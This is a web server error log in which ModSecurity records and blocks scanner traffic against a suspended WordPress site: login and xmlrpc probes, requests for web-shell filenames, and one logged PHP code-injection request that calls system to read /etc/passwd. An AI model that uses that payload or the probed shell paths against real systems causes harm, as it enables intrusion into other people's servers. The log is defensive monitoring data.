[Thu Nov 13 10:36:08.615244 2025] [:error] [pid 62303:tid 62307] [client 57.128.175.14:43264] [client 57.128.175.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.128.175.14, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRVEGL-hlFTtVrZw8jA7bAAAAIA"]
[Thu Nov 13 10:36:08.623371 2025] [:error] [pid 62303:tid 62307] [client 57.128.175.14:43264] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 11:17:51.407502 2025] [:error] [pid 6086:tid 6110] [client 34.18.2.224:44606] [client 34.18.2.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.18.2.224, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRVN339_6CRZzjZnAe11VgAAARU"]
[Thu Nov 13 11:17:51.414471 2025] [:error] [pid 6086:tid 6110] [client 34.18.2.224:44606] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 12:36:32.957882 2025] [:error] [pid 62215:tid 62233] [client 185.199.223.93:41052] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRVgUEvClof1c6XaOBU5SQAAAM4"]
[Thu Nov 13 12:36:32.965660 2025] [:error] [pid 62215:tid 62233] [client 185.199.223.93:41052] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 12:37:07.409109 2025] [:error] [pid 62215:tid 62227] [client 154.38.173.241:52906] [client 154.38.173.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.173.241, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRVgc0vClof1c6XaOBU5cgAAAMg"]
[Thu Nov 13 12:37:07.416803 2025] [:error] [pid 62215:tid 62227] [client 154.38.173.241:52906] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 13:07:18.271015 2025] [:error] [pid 62215:tid 62229] [client 103.77.106.81:61859] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "aRVnhkvClof1c6XaOBVDcwAAAMo"]
[Thu Nov 13 13:29:45.195064 2025] [:error] [pid 62217:tid 62277] [client 213.199.50.17:57868] [client 213.199.50.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.199.50.17, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRVsyRjGU3T9wKBmdNfh1AAAAEM"]
[Thu Nov 13 13:29:45.204359 2025] [:error] [pid 62217:tid 62277] [client 213.199.50.17:57868] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 14:01:42.927118 2025] [:error] [pid 6086:tid 6111] [client 136.144.19.140:36019] [client 136.144.19.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aRV0Rn9_6CRZzjZnAe3OvwAAARY"]
[Thu Nov 13 14:01:43.421930 2025] [:error] [pid 62215:tid 62243] [client 104.234.19.11:59689] [client 104.234.19.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/style.php"] [unique_id "aRV0R0vClof1c6XaOBVWjQAAANg"]
[Thu Nov 13 14:01:43.919894 2025] [:error] [pid 62303:tid 62319] [client 136.144.19.169:22615] [client 136.144.19.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aRV0R7-hlFTtVrZw8jCV6gAAAIw"]
[Thu Nov 13 14:01:44.415751 2025] [:error] [pid 6086:tid 6096] [client 193.36.224.60:29513] [client 193.36.224.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/style.php"] [unique_id "aRV0SH9_6CRZzjZnAe3OyAAAAQc"]
[Thu Nov 13 14:01:44.914089 2025] [:error] [pid 62215:tid 62241] [client 193.36.224.123:45749] [client 193.36.224.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style.php"] [unique_id "aRV0SEvClof1c6XaOBVWkwAAANY"]
[Thu Nov 13 14:01:45.405715 2025] [:error] [pid 62217:tid 62289] [client 136.144.19.150:55713] [client 136.144.19.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aRV0SRjGU3T9wKBmdNfr5wAAAE8"]
[Thu Nov 13 14:01:45.907757 2025] [:error] [pid 62215:tid 62225] [client 193.36.224.4:43397] [client 193.36.224.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "aRV0SUvClof1c6XaOBVWlAAAAMY"]
[Thu Nov 13 14:01:46.590787 2025] [:error] [pid 6086:tid 6106] [client 136.144.19.158:33121] [client 136.144.19.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aRV0Sn9_6CRZzjZnAe3OygAAARE"]
[Thu Nov 13 14:01:47.083233 2025] [:error] [pid 62216:tid 62249] [client 104.234.19.15:29763] [client 104.234.19.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aRV0S-pyFB9M2aVQhwPxSQAAAAI"]
[Thu Nov 13 14:01:47.574803 2025] [:error] [pid 62216:tid 62266] [client 136.144.19.143:34837] [client 136.144.19.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "aRV0S-pyFB9M2aVQhwPxSwAAABM"]
[Thu Nov 13 14:01:48.076018 2025] [:error] [pid 62217:tid 62294] [client 136.144.19.251:59717] [client 136.144.19.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "aRV0TBjGU3T9wKBmdNfr7wAAAFQ"]
[Thu Nov 13 14:01:48.565490 2025] [:error] [pid 6086:tid 6108] [client 136.144.19.158:41333] [client 136.144.19.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/blurbs.php"] [unique_id "aRV0TH9_6CRZzjZnAe3O0AAAARM"]
[Thu Nov 13 14:01:49.057309 2025] [:error] [pid 62216:tid 62263] [client 136.144.19.152:29445] [client 136.144.19.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "aRV0TepyFB9M2aVQhwPxUAAAABA"]
[Thu Nov 13 14:01:49.547269 2025] [:error] [pid 62217:tid 62289] [client 136.144.19.151:29345] [client 136.144.19.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aRV0TRjGU3T9wKBmdNfr8wAAAE8"]
[Thu Nov 13 14:01:50.040001 2025] [:error] [pid 62216:tid 62269] [client 136.144.19.150:35695] [client 136.144.19.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/aku.php"] [unique_id "aRV0TupyFB9M2aVQhwPxUgAAABY"]
[Thu Nov 13 14:01:50.961608 2025] [:error] [pid 6086:tid 6106] [client 136.144.19.138:32707] [client 136.144.19.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cord.php"] [unique_id "aRV0Tn9_6CRZzjZnAe3O2AAAARE"]
[Thu Nov 13 14:01:51.451424 2025] [:error] [pid 6086:tid 6108] [client 136.144.19.168:63753] [client 136.144.19.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/dex.php"] [unique_id "aRV0T39_6CRZzjZnAe3O2wAAARM"]
[Thu Nov 13 14:01:51.947010 2025] [:error] [pid 6086:tid 6094] [client 136.144.19.143:46007] [client 136.144.19.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRV0T39_6CRZzjZnAe3O3QAAAQU"]
[Thu Nov 13 14:01:59.463160 2025] [:error] [pid 62216:tid 62251] [client 193.36.224.6:24201] [client 193.36.224.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aRV0V-pyFB9M2aVQhwPxYgAAAAQ"]
[Thu Nov 13 14:01:59.956639 2025] [:error] [pid 62217:tid 62275] [client 193.36.224.123:38289] [client 193.36.224.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "aRV0VxjGU3T9wKBmdNfsBAAAAEE"]
[Thu Nov 13 14:02:00.461863 2025] [:error] [pid 62303:tid 62327] [client 104.234.19.14:28751] [client 104.234.19.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "aRV0WL-hlFTtVrZw8jCV-wAAAJQ"]
[Thu Nov 13 14:02:01.119716 2025] [:error] [pid 62303:tid 62328] [client 136.144.19.140:21339] [client 136.144.19.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aRV0Wb-hlFTtVrZw8jCV_AAAAJU"]
[Thu Nov 13 14:02:01.643114 2025] [:error] [pid 6086:tid 6113] [client 136.144.19.138:60647] [client 136.144.19.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aRV0WX9_6CRZzjZnAe3PAAAAARg"]
[Thu Nov 13 14:02:02.149920 2025] [:error] [pid 6086:tid 6102] [client 104.234.19.11:51455] [client 104.234.19.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shlo.php"] [unique_id "aRV0Wn9_6CRZzjZnAe3PAgAAAQ0"]
[Thu Nov 13 14:02:02.647831 2025] [:error] [pid 62303:tid 62330] [client 136.144.19.142:62967] [client 136.144.19.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/133.php"] [unique_id "aRV0Wr-hlFTtVrZw8jCV_QAAAJc"]
[Thu Nov 13 14:02:03.150728 2025] [:error] [pid 6086:tid 6106] [client 136.144.19.159:21521] [client 136.144.19.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "aRV0W39_6CRZzjZnAe3PAwAAARE"]
[Thu Nov 13 14:02:03.694940 2025] [:error] [pid 6086:tid 6092] [client 136.144.19.151:32163] [client 136.144.19.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wpssl.php"] [unique_id "aRV0W39_6CRZzjZnAe3PBQAAAQM"]
[Thu Nov 13 14:02:04.192037 2025] [:error] [pid 6086:tid 6101] [client 216.24.219.172:38085] [client 216.24.219.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/witmm.php"] [unique_id "aRV0XH9_6CRZzjZnAe3PBgAAAQw"]
[Thu Nov 13 14:02:05.721469 2025] [:error] [pid 62303:tid 62329] [client 193.36.224.7:41207] [client 193.36.224.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aRV0Xb-hlFTtVrZw8jCWCgAAAJY"]
[Thu Nov 13 14:02:06.220669 2025] [:error] [pid 62217:tid 62277] [client 104.234.19.17:54751] [client 104.234.19.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aRV0XhjGU3T9wKBmdNfsDgAAAEM"]
[Thu Nov 13 14:02:06.713138 2025] [:error] [pid 62215:tid 62230] [client 136.144.19.144:27341] [client 136.144.19.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "aRV0XkvClof1c6XaOBVWpwAAAMs"]
[Thu Nov 13 14:02:10.231546 2025] [:error] [pid 62216:tid 62247] [client 193.36.224.7:34241] [client 193.36.224.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "aRV0YupyFB9M2aVQhwPxhgAAAAA"]
[Thu Nov 13 14:02:10.734811 2025] [:error] [pid 62215:tid 62241] [client 136.144.19.153:47637] [client 136.144.19.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-editor.php"] [unique_id "aRV0YkvClof1c6XaOBVWtwAAANY"]
[Thu Nov 13 14:06:01.534289 2025] [:error] [pid 62216:tid 62259] [client 67.23.254.96:44716] [client 67.23.254.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.23.254.96, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRV1SepyFB9M2aVQhwPzBQAAAAw"]
[Thu Nov 13 14:06:01.540905 2025] [:error] [pid 62216:tid 62259] [client 67.23.254.96:44716] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 15:04:37.263210 2025] [:error] [pid 62303:tid 62307] [client 45.119.86.2:40732] [client 45.119.86.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.86.2, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRWDBb-hlFTtVrZw8jCz9AAAAIA"]
[Thu Nov 13 15:04:37.270709 2025] [:error] [pid 62303:tid 62307] [client 45.119.86.2:40732] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 15:05:29.370381 2025] [:error] [pid 6086:tid 6094] [client 5.254.58.164:39674] [client 5.254.58.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.254.58.164, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRWDOX9_6CRZzjZnAe32-wAAAQU"]
[Thu Nov 13 15:05:29.377113 2025] [:error] [pid 6086:tid 6094] [client 5.254.58.164:39674] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 15:31:03.785944 2025] [:error] [pid 62217:tid 62286] [client 144.48.39.108:48208] [client 144.48.39.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.48.39.108, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWJNxjGU3T9wKBmdNcQvQAAAEw"]
[Thu Nov 13 15:31:03.789640 2025] [:error] [pid 62217:tid 62286] [client 144.48.39.108:48208] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Nov 13 15:32:28.831483 2025] [:error] [pid 62303:tid 62321] [client 198.46.251.196:51286] [client 198.46.251.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.46.251.196, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRWJjL-hlFTtVrZw8jC_3QAAAI4"]
[Thu Nov 13 15:32:28.837663 2025] [:error] [pid 62303:tid 62321] [client 198.46.251.196:51286] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 16:01:31.968173 2025] [:error] [pid 62216:tid 62252] [client 144.48.39.134:47434] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aRWQW-pyFB9M2aVQhwMarwAAAAU"]
[Thu Nov 13 17:01:55.868012 2025] [:error] [pid 62303:tid 62307] [client 66.70.178.228:38310] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.70.178.228, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRWeg7-hlFTtVrZw8jDdQwAAAIA"]
[Thu Nov 13 17:01:55.874378 2025] [:error] [pid 62303:tid 62307] [client 66.70.178.228:38310] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 17:08:19.479612 2025] [:error] [pid 62303:tid 62328] [client 144.48.39.108:37308] [client 144.48.39.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.48.39.108, incrementing ddos counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWgA7-hlFTtVrZw8jDejwAAAJU"]
[Thu Nov 13 17:08:19.483187 2025] [:error] [pid 62303:tid 62328] [client 144.48.39.108:37308] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Nov 13 17:55:44.289634 2025] [:error] [pid 62215:tid 62230] [client 150.241.107.255:56610] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRWrIEvClof1c6XaOBWsKAAAAMs"]
[Thu Nov 13 17:55:44.834155 2025] [:error] [pid 62216:tid 62268] [client 150.241.107.255:56827] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRWrIOpyFB9M2aVQhwM0ogAAABU"]
[Thu Nov 13 17:55:45.381898 2025] [:error] [pid 44354:tid 44369] [client 150.241.107.255:57158] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrIXqKopQhy3G4s3l0lQAAAYo"]
